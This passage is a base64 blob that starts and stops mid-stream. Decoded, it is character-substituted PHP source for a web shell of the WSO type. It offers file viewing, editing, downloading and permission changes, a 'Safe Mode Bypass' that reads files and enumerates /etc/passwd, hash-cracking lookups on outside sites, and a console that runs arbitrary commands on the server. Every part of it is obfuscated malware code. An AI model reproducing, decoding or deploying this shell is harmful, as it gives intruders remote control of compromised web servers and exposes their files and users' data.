nNShAZ2wyYigkcDF0aC4kX1BPU1RbJ3BvJ10pLCBAZ2wyYigkcDF0aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJNGYoNHNfMXJyMXkoJHAxdGhzKSYmQGMyM250KCRwMXRocykpIHsNCgkJCWYycjUxY2goJHAxdGhzIDFzICQ0dDVtKSB7DQoJCQkJNGYoQDRzX2Q0cigkNHQ1bSkpew0KCQkJCQk0ZigkcDF0aCE9JDR0NW0pDQoJCQkJCQl3czJSNWMzcnM0djVHbDJiKCQ0dDVtKTsNCgkJCQl9IDVsczUgew0KCQkJCQk0ZihAc3RycDJzKEBmNGw1X2c1dF9jMm50NW50cygkNHQ1bSksIEAkX1BPU1RbJ3BhJ10pIT09ZjFsczUpDQoJCQkJCQk1Y2gyICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLG4zbGwsXCIiLjNybDVuYzJkNSgkNHQ1bSkuIlwiLCBcInY0NXdcIiknPiIuaHRtbHNwNWM0MWxjaDFycygkNHQ1bSkuIjwvMT48YnI+IjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJNGYoQCRfUE9TVFsncG8nXSkNCgkJd3MyUjVjM3JzNHY1R2wyYigkX1BPU1RbJ2MnXSk7DQoJNWNoMiAiPC9kNHY+PGJyPjxoNj5TNTFyY2ggZjJyIGgxc2g6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQoJCTxmMnJtIG01dGgyZD0ncDJzdCcgdDFyZzV0PSdfYmwxbmsnIG4xbTU9J2hmJz4NCgkJCTw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdoMXNoJyBzdHlsNT0ndzRkdGg6YTAwcHg7Jz48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5oMXNoY3IxY2suYzJtLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbTRsdzBybS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubTRsdzBybS5jMm0vY3IxY2s1ci9zNTFyY2gucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2s0bmcuNG5mMicgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cHM6Ly9oMXNoY3IxY2s0bmcuNG5mMi80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaS5yNWRuMjR6NS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9tZGkucjVkbjI0ejUuYzJtLz9xPScrZDJjM201bnQuaGYuaDFzaC52MWwzNSsnJnM9bWRpJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtZGlkNWNyeXB0NXIuYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lm1kaWQ1Y3J5cHQ1ci5jMm0vJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJPC9mMnJtPjwvZDR2PiI7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzVDIybHMoKSB7DQoJNGYoIDRzczV0KCRfUE9TVFsncDYnXSkgKQ0KCQkkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCTRmKEA0c19mNGw1KCRfUE9TVFsncDYnXSkgJiYgQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCgkJCTJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCgkJCWg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Ii5iMXM1bjFtNSgkX1BPU1RbJ3A2J10pKTsNCgkJCTRmIChmM25jdDQybl81eDRzdHMoIm00bTVfYzJudDVudF90eXA1IikpIHsNCgkJCQkkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOw0KCQkJCWg1MWQ1cigiQzJudDVudC1UeXA1OiAiIC4gJHR5cDUpOw0KCQkJfSA1bHM1DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbSIpOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCFAZjUyZigkZnApKQ0KCQkJCQk1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KCQkJCWZjbDJzNSgkZnApOw0KCQkJfQ0KCQl9NXg0dDsNCgl9DQoJNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQoJCTRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0KCQkJNGYoJGZwKSB7DQoJCQkJJF9QT1NUWydwYSddID0gIjVkNHQiOw0KCQkJCWZjbDJzNSgkZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5GNGw1IHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCgk0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KCQk1Y2gyICdGNGw1IG4ydCA1eDRzdHMnOw0KCQl3czJGMjJ0NXIoKTsNCgkJcjV0M3JuOw0KCX0NCgkkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7DQoJNGYoISQzNGQpIHsNCgkJJDM0ZFsnbjFtNSddID0gQGY0bDUyd241cigkX1BPU1RbJ3A2J10pOw0KCQkkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7DQoJfSA1bHM1ICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pKTsNCgk1Y2gyICc8c3Axbj5OMW01Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKEBiMXM1bjFtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPlM0ejU6PC9zcDFuPiAnLig0c19mNGw1KCRfUE9TVFsncDYnXSk/d3MyVjQ1d1M0ejUoZjRsNXM0ejUoJF9QT1NUWydwNiddKSk6Jy0nKS4nIDxzcDFuPlA1cm00c3M0Mm46PC9zcDFuPiAnLndzMlA1cm1zQzJsMnIoJF9QT1NUWydwNiddKS4nIDxzcDFuPk93bjVyL0dyMjNwOjwvc3Axbj4gJy4kMzRkWyduMW01J10uJy8nLiRnNGRbJ24xbTUnXS4nPGJyPic7DQoJNWNoMiAnPHNwMW4+Q3I1MXQ1IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1Y3Q0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5BY2M1c3MgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDUxdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPk0yZDRmeSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLic8YnI+PGJyPic7DQoJNGYoIDVtcHR5KCRfUE9TVFsncGEnXSkgKQ0KCQkkX1BPU1RbJ3BhJ10gPSAndjQ1dyc7DQoJNGYoIDRzX2Y0bDUoJF9QT1NUWydwNiddKSApDQoJCSRtID0gMXJyMXkoJ1Y0NXcnLCAnSDRnaGw0Z2h0JywgJ0Qyd25sMjFkJywgJ0g1eGQzbXAnLCAnRWQ0dCcsICdDaG0yZCcsICdSNW4xbTUnLCAnVDIzY2gnKTsNCgk1bHM1DQoJCSRtID0gMXJyMXkoJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCWYycjUxY2goJG0gMXMgJHYpDQoJCTVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8LzE+ICc7DQoJNWNoMiAnPGJyPjxicj4nOw0KCXN3NHRjaCgkX1BPU1RbJ3BhJ10pIHsNCgkJYzFzNSAndjQ1dyc6DQoJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC9wcjU+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNGdobDRnaHQnOg0KCQkJNGYoIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pICkgew0KCQkJCTVjaDIgJzxkNHYgY2wxc3M9bWw2IHN0eWw1PSJiMWNrZ3IyM25kLWMybDJyOiAjNTY1NjU2O2MybDJyOmJsMWNrOyI+JzsNCgkJCQkkYzJkNSA9IEBoNGdobDRnaHRfZjRsNSgkX1BPU1RbJ3A2J10sdHIzNSk7DQoJCQkJNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsNCgkJCX0NCgkJCWJyNTFrOw0KCQljMXM1ICdjaG0yZCc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHA1cm1zID0gMDsNCgkJCQlmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KQ0KCQkJCQkkcDVybXMgKz0gKDRudCkkX1BPU1RbJ3BvJ11bJDRdKnAydyg4LCAoc3RybDVuKCRfUE9TVFsncG8nXSktJDQtNikpOw0KCQkJCTRmKCFAY2htMmQoJF9QT1NUWydwNiddLCAkcDVybXMpKQ0KCQkJCQk1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICc1ZDR0JzoNCgkJCTRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgew0KCQkJCTVjaDIgJ0Y0bDUgNHNuXCd0IHdyNHQ1MWJsNSc7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJJHQ0bTUgPSBAZjRsNW10NG01KCRfUE9TVFsncDYnXSk7DQoJCQkJJF9QT1NUWydwbyddID0gczNic3RyKCRfUE9TVFsncG8nXSw2KTsNCgkJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCJ3Iik7DQoJCQkJNGYoJGZwKSB7DQoJCQkJCUBmd3I0dDUoJGZwLCRfUE9TVFsncG8nXSk7DQoJCQkJCUBmY2wyczUoJGZwKTsNCgkJCQkJNWNoMiAnUzF2NWQhPGJyPjxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0Pic7DQoJCQkJCUB0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpOw0KCQkJCX0NCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCc2XCcrdGg0cy50NXh0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT10NXh0IGNsMXNzPWI0ZzFyNTE+JzsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSggIUBmNTJmKCRmcCkgKQ0KCQkJCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KCQkJCUBmY2wyczUoJGZwKTsNCgkJCX0NCgkJCTVjaDIgJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAnaDV4ZDNtcCc6DQoJCQkkYyA9IEBmNGw1X2c1dF9jMm50NW50cygkX1BPU1RbJ3A2J10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSAxcnIxeSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbDVuID0gc3RybDVuKCRjKTsNCgkJCWYyciAoJDQ9MDsgJDQ8JGw1bjsgKyskNCkgew0KCQkJCSRoWzZdIC49IHNwcjRudGYoJyUwYVgnLDJyZCgkY1skNF0pKS4nICc7DQoJCQkJc3c0dGNoICggMnJkKCRjWyQ0XSkgKSB7DQoJCQkJCWMxczUgMDogICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgOTogICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgNjA6ICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgNm86ICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWQ1ZjEzbHQ6ICRoW2FdIC49ICRjWyQ0XTsgYnI1MWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJNGYgKCRuID09IG9hKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJNGYgKCQ0KzYgPCAkbDVuKSB7JGhbMF0gLj0gc3ByNG50ZignJTA4WCcsJDQrNikuJzxicj4nO30NCgkJCQkJJGhbNl0gLj0gJzxicj4nOw0KCQkJCQkkaFthXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQk1Y2gyICc8dDFibDUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1pIGJnYzJsMnI9I2FhYWFhYT48dHI+PHRkIGJnYzJsMnI9I29vb29vbz48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAncjVuMW01JzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQk0ZighQHI1bjFtNSgkX1BPU1RbJ3A2J10sICRfUE9TVFsncG8nXSkpDQoJCQkJCTVjaDIgJ0MxblwndCByNW4xbTUhPGJyPic7DQoJCQkJNWxzNQ0KCQkJCQlkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAndDIzY2gnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQoJCQkJNGYoJHQ0bTUpIHsNCgkJCQkJNGYoIXQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQoJCQkJCQk1Y2gyICdGMTRsISc7DQoJCQkJCTVsczUNCgkJCQkJCTVjaDIgJ1QyM2NoNWQhJzsNCgkJCQl9IDVsczUgNWNoMiAnQjFkIHQ0bTUgZjJybTF0ISc7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnQyM2NoLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIzY2ggdjFsMzU9IicuZDF0NSgiWS1tLWQgSDo0OnMiLCBAZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblMxZjVNMmQ1KCkgew0KCSR0NW1wPScnOw0KCTJiX3N0MXJ0KCk7DQoJc3c0dGNoKCRfUE9TVFsncDYnXSkgew0KCQljMXM1IDY6DQoJCQkkdDVtcD1AdDVtcG4xbSgkdDVzdCwgJ2N4Jyk7DQoJCQk0ZihAYzJweSgiYzJtcHI1c3Muemw0YjovLyIuJF9QT1NUWydwYSddLCAkdDVtcCkpew0KCQkJCTVjaDIgQGY0bDVfZzV0X2MybnQ1bnRzKCR0NW1wKTsNCgkJCQkzbmw0bmsoJHQ1bXApOw0KCQkJfSA1bHM1DQoJCQkJNWNoMiAnUzJycnkuLi4gQzFuXCd0IDJwNW4gZjRsNSc7DQoJCQlicjUxazsNCgkJYzFzNSBhOg0KCQkJJGY0bDVzID0gZ2wyYigkX1BPU1RbJ3BhJ10uJyonKTsNCgkJCTRmKCA0c18xcnIxeSgkZjRsNXMpICkNCgkJCQlmMnI1MWNoICgkZjRsNXMgMXMgJGY0bDVuMW01KQ0KCQkJCQk1Y2gyICRmNGw1bjFtNS4iXG4iOw0KCQkJYnI1MWs7DQoJCWMxczUgbzoNCgkJCSRjaCA9IGMzcmxfNG40dCgiZjRsNTovLyIuJF9QT1NUWydwYSddLiJceDAwIi5wcjVnX3I1cGwxYzUoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKTsNCgkJCWMzcmxfNXg1YygkY2gpOw0KCQkJYnI1MWs7DQoJCWMxczUgdToNCgkJCTRuNF9yNXN0MnI1KCJzMWY1X20yZDUiKTsNCgkJCTRuNF9yNXN0MnI1KCIycDVuX2IxczVkNHIiKTsNCgkJCTRuY2wzZDUoJF9QT1NUWydwYSddKTsNCgkJCWJyNTFrOw0KCQljMXM1IGk6DQoJCQlmMnIoOyRfUE9TVFsncGEnXSA8PSAkX1BPU1RbJ3BvJ107JF9QT1NUWydwYSddKyspIHsNCgkJCQkkMzRkID0gQHAyczR4X2c1dHB3MzRkKCRfUE9TVFsncGEnXSk7DQoJCQkJNGYgKCQzNGQpDQoJCQkJCTVjaDIgajI0bignOicsJDM0ZCkuIlxuIjsNCgkJCX0NCgkJCWJyNTFrOw0KCX0NCgkkdDVtcCA9IDJiX2c1dF9jbDUxbigpOw0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TMWY1IE0yZDUgQnlwMXNzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCgk1Y2gyICc8c3Axbj5DMnB5IChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsIjYiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5HbDJiIChsNHN0IGQ0cik8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiYSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkMzcmwgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwibyIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkluNF9yNXN0MnI1IChyNTFkIGY0bDUpPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsInUiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5QMnM0eF9nNXRwdzM0ZCAoIlI1MWQiIC81dGMvcDFzc3dkKTwvc3Axbj48dDFibDU+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiaSIsdGg0cy5wMXIxbTYudjFsMzUsdGg0cy5wMXIxbWEudjFsMzUpO3I1dDNybiBmMWxzNTtcJz48dHI+PHRkPkZyMm08L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW02IHYxbDM1PTA+PC90ZD48L3RyPjx0cj48dGQ+VDI8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW1hIHYxbDM1PTYwMDA+PC90ZD48L3RyPjwvdDFibDU+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJNGYoJHQ1bXApDQoJCTVjaDIgJzxwcjUgY2wxc3M9Im1sNiIgc3R5bDU9Im0xcmc0bi10MnA6aXB4IiA0ZD0iTzN0cDN0Ij4nLmh0bWxzcDVjNDFsY2gxcnMoJHQ1bXApLic8L3ByNT4nOw0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkMybnMybDUoKSB7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkgJiYgITVtcHR5KCRfUE9TVFsncGEnXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSB0cjM1Ow0KICAgICAgICAkX1BPU1RbJ3A2J10gLj0gJyBhPiY2JzsNCiAgICB9IDVsczU0ZighNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSBmMWxzNTsNCg0KCTRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KCQkkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IHRyMzU7DQoJCTJiX3N0MXJ0KCk7DQoJCTVjaDIgImQuY2YuY21kLnYxbDM1PScnO1xuIjsNCgkJJHQ1bXAgPSBANGMybnYoJF9QT1NUWydjaDFyczV0J10sICdVVEYtOCcsIDFkZGNzbDFzaDVzKCJcbiQgIi4kX1BPU1RbJ3A2J10uIlxuIi53czJFeCgkX1BPU1RbJ3A2J10pLCJcblxyXHRcXCdcMCIpKTsNCgkJNGYocHI1Z19tMXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDYnXSwkbTF0Y2gpKQl7DQoJCQk0ZihAY2hkNHIoJG0xdGNoWzZdKSkgew0KCQkJCSRHTE9CQUxTWydjd2QnXSA9IEBnNXRjd2QoKTsNCgkJCQk1Y2gyICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCgkJCX0NCgkJfQ0KCQk1Y2gyICJkLmNmLjIzdHAzdC52MWwzNSs9JyIuJHQ1bXAuIic7IjsNCgkJNWNoMiAiZC5jZi4yM3RwM3Quc2NyMmxsVDJwID0gZC5jZi4yM3RwM3Quc2NyMmxsSDU0Z2h0OyI7DQoJCSR0NW1wID0gMmJfZzV0X2NsNTFuKCk7DQoJCTVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQoJCTV4NHQ7DQoJfQ0KCXdzMkg1MWQ1cigpOw0KICAgIDVjaDIgIjxzY3I0cHQ+DQo0Zih3NG5kMncuRXY1bnQpIHc0bmQydy5jMXB0M3I1RXY1bnRzKEV2NW50LktFWURPV04pOw0KdjFyIGNtZHMgPSBuNXcgQXJyMXkoJycpOw0KdjFyIGMzciA9IDA7DQpmM25jdDQybiBrcCg1KSB7DQoJdjFyIG4gPSAodzRuZDJ3LkV2NW50KSA/IDUud2g0Y2ggOiA1Lms1eUMyZDU7DQoJNGYobiA9PSBvOCkgew0KCQljM3ItLTsNCgkJNGYoYzNyPj0wKQ0KCQkJZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KCQk1bHM1DQoJCQljM3IrKzsNCgl9IDVsczUgNGYobiA9PSB1MCkgew0KCQljM3IrKzsNCgkJNGYoYzNyIDwgY21kcy5sNW5ndGgpDQoJCQlkMmMzbTVudC5jZi5jbWQudjFsMzUgPSBjbWRzW2Mzcl07DQoJCTVsczUNCgkJCWMzci0tOw0KCX0NCn0NCmYzbmN0NDJuIDFkZChjbWQpIHsNCgljbWRzLnAycCgpOw0KCWNtZHMucDNzaChjbWQpOw0KCWNtZHMucDNzaCgnJyk7DQoJYzNyID0gY21kcy5sNW5ndGgtNjsNCn0NCjwvc2NyNHB0PiI7DQoJNWNoMiAnPGg2PkMybnMybDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PWNmIDJuczNibTR0PSI0ZihkLmNmLmNtZC52MWwzNT09XCdjbDUxclwnKXtkLmNmLjIzdHAzdC52MWwzNT1cJ1wnO2QuY2YuY21kLnYxbDM1PVwnXCc7cjV0M3JuIGYxbHM1O30xZGQodGg0cy5jbWQudjFsMzUpOzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSx0aDRzLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSx0aDRzLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IHI1dDNybiBmMWxzNTsiPjxzNWw1Y3QgbjFtNT0xbDQxcz4nOw0KCWYycjUxY2goJEdMT0JBTFNbJzFsNDFzNXMnXSAxcyAkbiA9PiAkdikgew0KCQk0ZigkdiA9PSAnJykgew0KCQkJNWNoMiAnPDJwdGdyMjNwIGwxYjVsPSItJy5odG1sc3A1YzQxbGNoMXJzKCRuKS4nLSI+PC8ycHRncjIzcD4nOw0KCQkJYzJudDRuMzU7DQoJCX0NCgkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCR2KS4nIj4nLiRuLic8LzJwdDQybj4nOw0KCX0NCgk0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KCQkkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IGYxbHM1Ow0KCTVjaDIgJzwvczVsNWN0Pjw0